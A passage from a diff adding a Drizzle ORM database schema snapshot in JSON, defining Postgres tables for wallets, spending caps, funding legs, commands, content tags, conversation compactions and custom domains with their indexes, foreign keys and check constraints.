"integer", + "primaryKey": false, + "notNull": true + }, + "sentAt": { + "name": "sentAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": { + "wallet_cap_alerts_walletId_wallets_id_fk": { + "name": "wallet_cap_alerts_walletId_wallets_id_fk", + "tableFrom": "wallet_cap_alerts", + "tableTo": "wallets", + "columnsFrom": [ + "walletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "wallet_cap_alerts_pkey": { + "name": "wallet_cap_alerts_pkey", + "columns": [ + "walletId", + "consumerKey", + "capWindow", + "periodStart", + "threshold" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "wallet_cap_alerts_window_valid": { + "name": "wallet_cap_alerts_window_valid", + "value": "\"wallet_cap_alerts\".\"capWindow\" IN ('daily', 'monthly')" + }, + "wallet_cap_alerts_threshold_valid": { + "name": "wallet_cap_alerts_threshold_valid", + "value": "\"wallet_cap_alerts\".\"threshold\" IN (80, 100)" + } + }, + "isRLSEnabled": false + }, + "public.wallet_consumer_caps": { + "name": "wallet_consumer_caps", + "schema": "", + "columns": { + "walletId": { + "name": "walletId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "consumerKey": { + "name": "consumerKey", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "dailyCapCents": { + "name": "dailyCapCents", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "monthlyCapCents": { + "name": "monthlyCapCents", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": { + "wallet_consumer_caps_walletId_wallets_id_fk": { + "name": "wallet_consumer_caps_walletId_wallets_id_fk", + "tableFrom": "wallet_consumer_caps", + "tableTo": "wallets", + "columnsFrom": [ + "walletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "wallet_consumer_caps_pkey": { + "name": "wallet_consumer_caps_pkey", + "columns": [ + "walletId", + "consumerKey" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "wallet_consumer_caps_consumer_key_nonempty": { + "name": "wallet_consumer_caps_consumer_key_nonempty", + "value": "length(\"wallet_consumer_caps\".\"consumerKey\") > 0" + }, + "wallet_consumer_caps_daily_nonneg": { + "name": "wallet_consumer_caps_daily_nonneg", + "value": "\"wallet_consumer_caps\".\"dailyCapCents\" IS NULL OR \"wallet_consumer_caps\".\"dailyCapCents\" >= 0" + }, + "wallet_consumer_caps_monthly_nonneg": { + "name": "wallet_consumer_caps_monthly_nonneg", + "value": "\"wallet_consumer_caps\".\"monthlyCapCents\" IS NULL OR \"wallet_consumer_caps\".\"monthlyCapCents\" >= 0" + } + }, + "isRLSEnabled": false + }, + "public.wallet_debt_notices": { + "name": "wallet_debt_notices", + "schema": "", + "columns": { + "walletId": { + "name": "walletId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "lastNotifiedAt": { + "name": "lastNotifiedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": {}, + "foreignKeys": { + "wallet_debt_notices_walletId_wallets_id_fk": { + "name": "wallet_debt_notices_walletId_wallets_id_fk", + "tableFrom": "wallet_debt_notices", + "tableTo": "wallets", + "columnsFrom": [ + "walletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.wallet_funding_legs": { + "name": "wallet_funding_legs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "walletId": { + "name": "walletId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "funderKind": { + "name": "funderKind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "funderUserId": { + "name": "funderUserId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "funderOrgId": { + "name": "funderOrgId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "originalCents": { + "name": "originalCents", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "remainingCents": { + "name": "remainingCents", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "includedCents": { + "name": "includedCents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "nonRefundable": { + "name": "nonRefundable", + "type": "boolean", + "primaryKey": false, + "notNull": true + }, + "sourceRef": { + "name": "sourceRef", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "wallet_funding_legs_wallet_order_idx": { + "name": "wallet_funding_legs_wallet_order_idx", + "columns": [ + { + "expression": "walletId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "wallet_funding_legs_source_ref_unique": { + "name": "wallet_funding_legs_source_ref_unique", + "columns": [ + { + "expression": "sourceRef", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"sourceRef\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "wallet_funding_legs_walletId_wallets_id_fk": { + "name": "wallet_funding_legs_walletId_wallets_id_fk", + "tableFrom": "wallet_funding_legs", + "tableTo": "wallets", + "columnsFrom": [ + "walletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "wallet_funding_legs_funderUserId_users_id_fk": { + "name": "wallet_funding_legs_funderUserId_users_id_fk", + "tableFrom": "wallet_funding_legs", + "tableTo": "users", + "columnsFrom": [ + "funderUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "wallet_funding_legs_funderOrgId_organizations_id_fk": { + "name": "wallet_funding_legs_funderOrgId_organizations_id_fk", + "tableFrom": "wallet_funding_legs", + "tableTo": "organizations", + "columnsFrom": [ + "funderOrgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "wallet_funding_legs_funder_kind_valid": { + "name": "wallet_funding_legs_funder_kind_valid", + "value": "\"wallet_funding_legs\".\"funderKind\" IN ('owner', 'donation')" + }, + "wallet_funding_legs_original_positive": { + "name": "wallet_funding_legs_original_positive", + "value": "\"wallet_funding_legs\".\"originalCents\" > 0" + }, + "wallet_funding_legs_remaining_range": { + "name": "wallet_funding_legs_remaining_range", + "value": "\"wallet_funding_legs\".\"remainingCents\" >= 0 AND \"wallet_funding_legs\".\"remainingCents\" <= \"wallet_funding_legs\".\"originalCents\"" + }, + "wallet_funding_legs_included_range": { + "name": "wallet_funding_legs_included_range", + "value": "\"wallet_funding_legs\".\"includedCents\" >= 0 AND \"wallet_funding_legs\".\"includedCents\" <= \"wallet_funding_legs\".\"remainingCents\"" + }, + "wallet_funding_legs_donation_non_refundable": { + "name": "wallet_funding_legs_donation_non_refundable", + "value": "\"wallet_funding_legs\".\"funderKind\" <> 'donation' OR \"wallet_funding_legs\".\"nonRefundable\"" + }, + "wallet_funding_legs_donation_not_from_org": { + "name": "wallet_funding_legs_donation_not_from_org", + "value": "\"wallet_funding_legs\".\"funderKind\" <> 'donation' OR \"wallet_funding_legs\".\"funderOrgId\" IS NULL" + } + }, + "isRLSEnabled": false + }, + "public.wallets": { + "name": "wallets", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true, + "default": "('w' || substr(md5(random()::text || clock_timestamp()::text), 1, 23))" + }, + "ownerType": { + "name": "ownerType", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'user'" + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "subjectType": { + "name": "subjectType", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "subjectId": { + "name": "subjectId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "parentWalletId": { + "name": "parentWalletId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "monthlyRemainingCents": { + "name": "monthlyRemainingCents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "monthlyAllowanceCents": { + "name": "monthlyAllowanceCents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "spentCents": { + "name": "spentCents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "topupRemainingCents": { + "name": "topupRemainingCents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "debtCents": { + "name": "debtCents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "pendingMillicents": { + "name": "pendingMillicents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "monthlyPeriodStart": { + "name": "monthlyPeriodStart", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "monthlyPeriodEnd": { + "name": "monthlyPeriodEnd", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "donationsEnabled": { + "name": "donationsEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "guestSpendEnabled": { + "name": "guestSpendEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "fallbackRule": { + "name": "fallbackRule", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "defaultSpendSource": { + "name": "defaultSpendSource", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "alwaysOwnCredits": { + "name": "alwaysOwnCredits", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "overshootChoice": { + "name": "overshootChoice", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "wallets_personal_root_unique": { + "name": "wallets_personal_root_unique", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"ownerType\" = 'user' AND \"subjectType\" IS NULL AND \"parentWalletId\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "wallets_org_pool_unique": { + "name": "wallets_org_pool_unique", + "columns": [ + { + "expression": "orgId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"ownerType\" = 'org' AND \"subjectType\" IS NULL AND \"parentWalletId\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "wallets_subject_unique": { + "name": "wallets_subject_unique", + "columns": [ + { + "expression": "subjectType", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "subjectId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"subjectId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "wallets_parent_idx": { + "name": "wallets_parent_idx", + "columns": [ + { + "expression": "parentWalletId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "wallets_userId_users_id_fk": { + "name": "wallets_userId_users_id_fk", + "tableFrom": "wallets", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "wallets_orgId_organizations_id_fk": { + "name": "wallets_orgId_organizations_id_fk", + "tableFrom": "wallets", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "wallets_parentWalletId_wallets_id_fk": { + "name": "wallets_parentWalletId_wallets_id_fk", + "tableFrom": "wallets", + "tableTo": "wallets", + "columnsFrom": [ + "parentWalletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "no action", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "wallets_owner_type_valid": { + "name": "wallets_owner_type_valid", + "value": "\"wallets\".\"ownerType\" IN ('user', 'org')" + }, + "wallets_owner_matches_type": { + "name": "wallets_owner_matches_type", + "value": "(\"wallets\".\"ownerType\" = 'user' AND \"wallets\".\"userId\" IS NOT NULL AND \"wallets\".\"orgId\" IS NULL) OR (\"wallets\".\"ownerType\" = 'org' AND \"wallets\".\"orgId\" IS NOT NULL AND \"wallets\".\"userId\" IS NULL)" + }, + "wallets_subject_type_valid": { + "name": "wallets_subject_type_valid", + "value": "\"wallets\".\"subjectType\" IS NULL OR \"wallets\".\"subjectType\" = 'drive'" + }, + "wallets_subject_complete": { + "name": "wallets_subject_complete", + "value": "(\"wallets\".\"subjectType\" IS NULL) = (\"wallets\".\"subjectId\" IS NULL)" + }, + "wallets_not_own_parent": { + "name": "wallets_not_own_parent", + "value": "\"wallets\".\"parentWalletId\" IS NULL OR \"wallets\".\"parentWalletId\" <> \"wallets\".\"id\"" + }, + "wallets_status_valid": { + "name": "wallets_status_valid", + "value": "\"wallets\".\"status\" IN ('active', 'paused', 'over')" + }, + "wallets_fallback_rule_valid": { + "name": "wallets_fallback_rule_valid", + "value": "\"wallets\".\"fallbackRule\" IS NULL OR \"wallets\".\"fallbackRule\" IN ('refuse', 'seat_allowance', 'own_credits')" + }, + "wallets_overshoot_choice_valid": { + "name": "wallets_overshoot_choice_valid", + "value": "\"wallets\".\"overshootChoice\" IS NULL OR (\"wallets\".\"overshootChoice\" IN ('absorb_to_parent', 'wallet_debt') AND \"wallets\".\"parentWalletId\" IS NOT NULL)" + }, + "wallets_default_spend_source_valid": { + "name": "wallets_default_spend_source_valid", + "value": "\"wallets\".\"defaultSpendSource\" IS NULL OR (\"wallets\".\"defaultSpendSource\" IN ('drive_wallet', 'seat_allowance', 'own_credits') AND NOT (\"wallets\".\"ownerType\" = 'org' AND \"wallets\".\"subjectType\" IS NULL))" + }, + "wallets_guest_spend_subject_wallet": { + "name": "wallets_guest_spend_subject_wallet", + "value": "NOT \"wallets\".\"guestSpendEnabled\" OR \"wallets\".\"subjectType\" IS NOT NULL" + }, + "wallets_always_own_credits_personal_root": { + "name": "wallets_always_own_credits_personal_root", + "value": "NOT \"wallets\".\"alwaysOwnCredits\" OR (\"wallets\".\"ownerType\" = 'user' AND \"wallets\".\"subjectType\" IS NULL AND \"wallets\".\"parentWalletId\" IS NULL)" + }, + "wallets_monthly_remaining_nonneg": { + "name": "wallets_monthly_remaining_nonneg", + "value": "\"wallets\".\"monthlyRemainingCents\" >= 0" + }, + "wallets_monthly_allowance_nonneg": { + "name": "wallets_monthly_allowance_nonneg", + "value": "\"wallets\".\"monthlyAllowanceCents\" >= 0" + }, + "wallets_spent_cents_nonneg": { + "name": "wallets_spent_cents_nonneg", + "value": "\"wallets\".\"spentCents\" >= 0" + }, + "wallets_topup_remaining_nonneg": { + "name": "wallets_topup_remaining_nonneg", + "value": "\"wallets\".\"topupRemainingCents\" >= 0" + }, + "wallets_debt_cents_nonneg": { + "name": "wallets_debt_cents_nonneg", + "value": "\"wallets\".\"debtCents\" >= 0" + }, + "wallets_pending_millicents_range": { + "name": "wallets_pending_millicents_range", + "value": "\"wallets\".\"pendingMillicents\" >= 0 AND \"wallets\".\"pendingMillicents\" < 1000" + }, + "wallets_period_order": { + "name": "wallets_period_order", + "value": "\"wallets\".\"monthlyPeriodStart\" IS NULL OR \"wallets\".\"monthlyPeriodEnd\" IS NULL OR \"wallets\".\"monthlyPeriodStart\" <= \"wallets\".\"monthlyPeriodEnd\"" + } + }, + "isRLSEnabled": false + }, + "public.commands": { + "name": "commands", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_id": { + "name": "created_by_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "trigger": { + "name": "trigger", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "entry_page_id": { + "name": "entry_page_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'document'" + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "commands_user_id_idx": { + "name": "commands_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "commands_drive_id_idx": { + "name": "commands_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "commands_entry_page_id_idx": { + "name": "commands_entry_page_id_idx", + "columns": [ + { + "expression": "entry_page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "commands_user_id_users_id_fk": { + "name": "commands_user_id_users_id_fk", + "tableFrom": "commands", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "commands_drive_id_drives_id_fk": { + "name": "commands_drive_id_drives_id_fk", + "tableFrom": "commands", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "commands_created_by_id_users_id_fk": { + "name": "commands_created_by_id_users_id_fk", + "tableFrom": "commands", + "tableTo": "users", + "columnsFrom": [ + "created_by_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "commands_entry_page_id_pages_id_fk": { + "name": "commands_entry_page_id_pages_id_fk", + "tableFrom": "commands", + "tableTo": "pages", + "columnsFrom": [ + "entry_page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "commands_user_trigger": { + "name": "commands_user_trigger", + "nullsNotDistinct": false, + "columns": [ + "user_id", + "trigger" + ] + }, + "commands_drive_trigger": { + "name": "commands_drive_trigger", + "nullsNotDistinct": false, + "columns": [ + "drive_id", + "trigger" + ] + } + }, + "policies": {}, + "checkConstraints": { + "commands_scope_chk": { + "name": "commands_scope_chk", + "value": "(\"commands\".\"user_id\" IS NOT NULL AND \"commands\".\"drive_id\" IS NULL) OR (\"commands\".\"user_id\" IS NULL AND \"commands\".\"drive_id\" IS NOT NULL)" + }, + "commands_type_chk": { + "name": "commands_type_chk", + "value": "\"commands\".\"type\" IN ('document', 'prompt_template', 'builtin')" + } + }, + "isRLSEnabled": false + }, + "public.content_tags": { + "name": "content_tags", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "tagId": { + "name": "tagId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "targetKind": { + "name": "targetKind", + "type": "ContentTagTargetKind", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "anchor": { + "name": "anchor", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "anchorStatus": { + "name": "anchorStatus", + "type": "ContentTagAnchorStatus", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "channelMessageId": { + "name": "channelMessageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "aiMessageId": { + "name": "aiMessageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "ContentTagSource", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "confidence": { + "name": "confidence", + "type": "real", + "primaryKey": false, + "notNull": false + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "content_tags_page_id_idx": { + "name": "content_tags_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_tags_tag_id_idx": { + "name": "content_tags_tag_id_idx", + "columns": [ + { + "expression": "tagId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_tags_created_by_idx": { + "name": "content_tags_created_by_idx", + "columns": [ + { + "expression": "createdBy", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_tags_page_target_unique": { + "name": "content_tags_page_target_unique", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "tagId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"content_tags\".\"targetKind\" = 'page'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_tags_channel_message_target_unique": { + "name": "content_tags_channel_message_target_unique", + "columns": [ + { + "expression": "channelMessageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "tagId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"content_tags\".\"targetKind\" = 'channel_message'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "content_tags_ai_message_target_unique": { + "name": "content_tags_ai_message_target_unique", + "columns": [ + { + "expression": "aiMessageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "tagId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"content_tags\".\"targetKind\" = 'ai_message'", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "content_tags_tagId_tags_id_fk": { + "name": "content_tags_tagId_tags_id_fk", + "tableFrom": "content_tags", + "tableTo": "tags", + "columnsFrom": [ + "tagId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "content_tags_pageId_pages_id_fk": { + "name": "content_tags_pageId_pages_id_fk", + "tableFrom": "content_tags", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "content_tags_channelMessageId_channel_messages_id_fk": { + "name": "content_tags_channelMessageId_channel_messages_id_fk", + "tableFrom": "content_tags", + "tableTo": "channel_messages", + "columnsFrom": [ + "channelMessageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "content_tags_aiMessageId_messages_id_fk": { + "name": "content_tags_aiMessageId_messages_id_fk", + "tableFrom": "content_tags", + "tableTo": "messages", + "columnsFrom": [ + "aiMessageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "content_tags_createdBy_users_id_fk": { + "name": "content_tags_createdBy_users_id_fk", + "tableFrom": "content_tags", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "content_tags_target_chk": { + "name": "content_tags_target_chk", + "value": "(\n (\"content_tags\".\"targetKind\" = 'page' AND \"content_tags\".\"anchor\" IS NULL AND \"content_tags\".\"anchorStatus\" IS NULL AND \"content_tags\".\"channelMessageId\" IS NULL AND \"content_tags\".\"aiMessageId\" IS NULL)\n OR (\"content_tags\".\"targetKind\" = 'text' AND \"content_tags\".\"anchor\" IS NOT NULL AND \"content_tags\".\"anchorStatus\" IS NOT NULL AND \"content_tags\".\"channelMessageId\" IS NULL AND \"content_tags\".\"aiMessageId\" IS NULL)\n OR (\"content_tags\".\"targetKind\" = 'sheet_cell' AND \"content_tags\".\"anchor\" IS NOT NULL AND \"content_tags\".\"anchorStatus\" IS NULL AND \"content_tags\".\"channelMessageId\" IS NULL AND \"content_tags\".\"aiMessageId\" IS NULL)\n OR (\"content_tags\".\"targetKind\" = 'channel_message' AND \"content_tags\".\"anchor\" IS NULL AND \"content_tags\".\"anchorStatus\" IS NULL AND \"content_tags\".\"channelMessageId\" IS NOT NULL AND \"content_tags\".\"aiMessageId\" IS NULL)\n OR (\"content_tags\".\"targetKind\" = 'ai_message' AND \"content_tags\".\"anchor\" IS NULL AND \"content_tags\".\"anchorStatus\" IS NULL AND \"content_tags\".\"channelMessageId\" IS NULL AND \"content_tags\".\"aiMessageId\" IS NOT NULL)\n )" + }, + "content_tags_confidence_range_chk": { + "name": "content_tags_confidence_range_chk", + "value": "\"content_tags\".\"confidence\" IS NULL OR (\"content_tags\".\"confidence\" >= 0 AND \"content_tags\".\"confidence\" <= 1)" + } + }, + "isRLSEnabled": false + }, + "public.conversation_compactions": { + "name": "conversation_compactions", + "schema": "", + "columns": { + "conversation_id": { + "name": "conversation_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "page_id": { + "name": "page_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "summary": { + "name": "summary", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "summary_tokens": { + "name": "summary_tokens", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "compacted_up_to_message_id": { + "name": "compacted_up_to_message_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "compacted_up_to_created_at": { + "name": "compacted_up_to_created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "summary_version": { + "name": "summary_version", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "summarizer_model": { + "name": "summarizer_model", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_compacted_at": { + "name": "last_compacted_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "conversation_compactions_page_id_idx": { + "name": "conversation_compactions_page_id_idx", + "columns": [ + { + "expression": "page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": { + "conversation_compactions_conversation_id_source_pk": { + "name": "conversation_compactions_conversation_id_source_pk", + "columns": [ + "conversation_id", + "source" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "conversation_compactions_source_chk": { + "name": "conversation_compactions_source_chk", + "value": "\"conversation_compactions\".\"source\" IN ('page', 'global')" + } + }, + "isRLSEnabled": false + }, + "public.custom_domains": { + "name": "custom_domains", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "hostname": { + "name": "hostname", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "custom_domain_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "is_primary": { + "name": "is_primary", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "platform_owned": { + "name": "platform_owned", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "publish_landing_page_id": { + "name": "publish_landing_page_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "publish_not_found_page_id": { + "name": "publish_not_found_page_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "published_app_id": { + "name": "published_app_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "suspended_by_policy": { + "name": "suspended_by_policy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "custom_domains_hostname_key": { + "name": 